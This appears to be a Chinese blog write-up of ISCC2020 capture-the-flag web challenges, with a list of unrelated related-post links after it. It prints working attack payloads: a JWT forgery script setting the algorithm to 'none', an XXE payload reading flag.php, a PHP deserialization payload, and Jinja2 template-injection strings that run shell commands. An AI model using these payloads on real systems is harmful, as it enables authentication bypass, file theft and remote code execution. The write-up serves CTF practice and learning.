• ISCC2020 WEB记录


    ISCC2020

    • 最开始的几题web,记录一下解题过程

    Web4 未知的风险-1

    知识点:jwt,xxe

    • 首先打开页面就只有一个hello guest,遂打开cookie查看了一下,发现了有jwt样式的值
      WEB
    • 遂尝试修改,由于描述指出只有user才可访问,所以要构造userjwt
    • 这里修改jwt,采用修改算法为none,具体原理可以看一下这篇文章
      https://www.cnblogs.com/dliv3/p/7450057.html#2-%E4%BF%AE%E6%94%B9%E7%AE%97%E6%B3%95%E4%B8%BAnone
    • exp如下:
    import jwt
    import base64
    
    # 原header
    # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
    # {"typ":"JWT","alg":"HS256"}
    
    # 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
    # {"iss":"http://demo.sjoerdlangkemper.nl/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
    
    def b64urlencode(data):
        return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
    
    # 构造算法字段为none, payload部分可以随意修改
    print(b64urlencode(b"{"typ":"JWT","alg":"none"}") + 
        b'.' + b64urlencode(b"{"id":"user","iat":"1588393520","jti":"37b27d0b48c2465a97e4ba5fb7b06997"}") + b'.')
    
    • 登录进去后发现又有一个登录框,这里其实是NCTF原题
      WEB
    • 所以直接使用payload进行攻击
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY ext SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
    <user><username>&ext;</username><password>0</password></user>
    

    WEB

    Web2 Php is the best language

    知识点:_toString()反序列化绕过

    • 之前接触过不少反序列化的题,但是有一段时间没做了,记忆有些模糊,这次这题刚好回忆一下
    • 首先首页可以下载源码,发现要绕一个_toString()
    <?php  
    @error_reporting(1);
    include 'flag.php';
    class baby 
    {
        public $file;
        function __toString()      
        {
            if(isset($this->file))
            {
                $filename = "./{$this->file}";
                if (base64_encode(file_get_contents($filename)))
                {
                    return base64_encode(file_get_contents($filename));
                }
            }
        }
    }
    if (isset($_GET['data']))
    {
        $data = $_GET['data'];
            $good = unserialize($data);
            echo $good;
    }
    else 
    {
        $url='./index.php';
    }
    
    $html='';
    if(isset($_POST['test'])){
        $s = $_POST['test'];
        $html.="<p>谢谢参与!</p>";
    }
    ?>
    
    • 这里test没什么用处,关键就在于给data的反序列化,对于_toString(),它是把一个对象被当作一个字符串使用,所以我们这里就要尝试构造一个能调用_toString()
    • 所以构造payload如下:
    class baby
    {
    	public $file;
    }
    
    $a = new baby();
    $a->file="flag.php";
    echo serialize($a);
    ?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
    

    WEB

    • 最后在base64解一下就行了

    擂台赛:Easy Injection

    Python template Injection

    • 攻防世界的原题,常规SSTI套路
    • 首先还是查找warnings.catch_warnings,检索索引发现是177,而后尝试命令执行
      %7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22ls%22).read()')%20%7D%7D
    • 遍历出文件
      WEB
    • flog
      %7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22cat%20flog%22).read()')%20%7D%7D
      WEB
  • 相关阅读:
    DFT测试OCC电路介绍
    ANR原理分析
    Android系统启动流程分析
    Linux15_Linux基础1
    tf之手写体识别
    1
    MongoDB 4.4 以后版本安装Database Tools 工具
    11
    MongoDB 备份与还原mongodump
    nginx 静态文件部署 极简版
  • 原文地址:https://www.cnblogs.com/Konmu/p/12818069.html
Copyright © 2020-2023  润新知